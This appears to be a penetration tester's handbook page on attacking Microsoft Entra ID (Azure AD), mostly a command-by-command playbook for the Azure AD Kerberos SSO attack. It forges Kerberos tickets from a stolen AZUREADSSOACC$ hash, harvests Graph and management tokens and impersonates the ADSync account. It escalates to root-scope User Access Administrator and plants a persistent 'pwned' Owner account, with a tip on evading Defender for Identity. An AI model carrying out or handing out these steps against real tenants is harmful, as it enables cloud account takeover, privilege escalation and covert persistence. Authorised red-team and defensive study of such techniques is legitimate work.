Handbook III - Cloud

Entra ID (Azure)

Certification: Attacking & Defending Azure Cloud: Beginner's Edition (CARTP) (alteredsecurity.com)

Microsoft Entra ID on Microsoft Learn | Microsoft Learn

Microsoft Entra Academy

• How to use Graph API for C2 communication

Azure Administrative Tiering (AzTier)

https://aztier.com/

Azure AD Kerberos SSO Attack — Pentest Notes

Prerequisites

• Domain Admin / DC access
• AZUREADSSOACC$ NTLM hash extracted via SecretsDump
• Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)
• Tools: AADInternals, ROADtools, SecretsDump, rpcclient

Tool Installation

Install-Module -Name "AADInternals"
Install-Module -Name "AADInternals-Endpoints"
Import-Module -Name "AADInternals"

pip install roadrecon --break-system-packages

Step 1 — Confirm SSO Enabled

Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table
# Look for DesktopSSO: True

Step 2 — Enumerate Accounts via rpcclient

# If you don't have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity. 
rpcclient -U "domain/user%password" <DC_IP>
enumdomusers
lookupnames <username>

Step 3 — Forge Kerberos Ticket

# NTLM hash = NT part only (32 chars after last colon from SecretsDump)
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
# Use SID for a user that is synced between Azure AD and local Active Directory. 
$kerberos = New-AADIntKerberosTicket -SidString "<AD_SID>" -Hash "<NTLM_Hash>"

Step 4 — Get Access Tokens

Important: each tool needs a different token audience

Tool	Audience	AADInternals Command
roadrecon gather	https://graph.windows.net	Get-AADIntAccessTokenForAADGraph
Connect-MgGraph / Get-MgUser	https://graph.microsoft.com	Get-AADIntAccessTokenForMSGraph
Azure Core Management	https://management.core.windows.net/	Get-AADIntAccessTokenForAzureCoreManagement

# Get all three and save to cache
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache

Step 5 — Enumerate Azure AD with ROADrecon

roadrecon auth --access-token <AADGraph_token>
roadrecon gather -f .roadtools_auth
roadrecon gui   # Web UI on port 5000 — ensure attack box is not on public IP

Step 6 — Connect Microsoft Graph & Check Context

# Connect using MSGraph token
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)

# Check current session context and user
$me = Get-MgContext
Write-Output $me

# List all scopes/permissions granted to the token
(Get-MgContext).Scopes

Step 7 — Check Token Permissions

# Decode token — check scp, roles, wids, aud, upn claims
Read-AADIntAccessToken -AccessToken <token>

Decode at jwt.ms for a clean readable view.

Claim	Meaning
scp	Delegated scopes e.g. Directory.Read.All
roles	Application role assignments
wids	Directory role GUIDs (Global Admin etc.)
aud	Which API this token is valid for
upn	Which user this token belongs to

Step 8 — Escalate to Global Admin

# Impersonate ADSync account (high value — has directory sync rights by design)
$kerberos = New-AADIntKerberosTicket -SidString "<ADSync_SID>" -Hash "<NTLM_Hash>"
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache

# Elevate to User Access Administrator at root scope
Grant-AADIntAzureUserAccessAdminRole

# Verify subscription access
Get-AADIntAzureSubscriptions

Step 9 — Create Persistent Cloud User

# Note the ObjectID in the output
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName "pwned user"

# Assign subscription ownership
$subScope = "subscriptions/<subscription_id>"
New-AzRoleAssignment -ObjectID <ObjectID> -RoleDefinitionName "Owner" -Scope $subScope

Source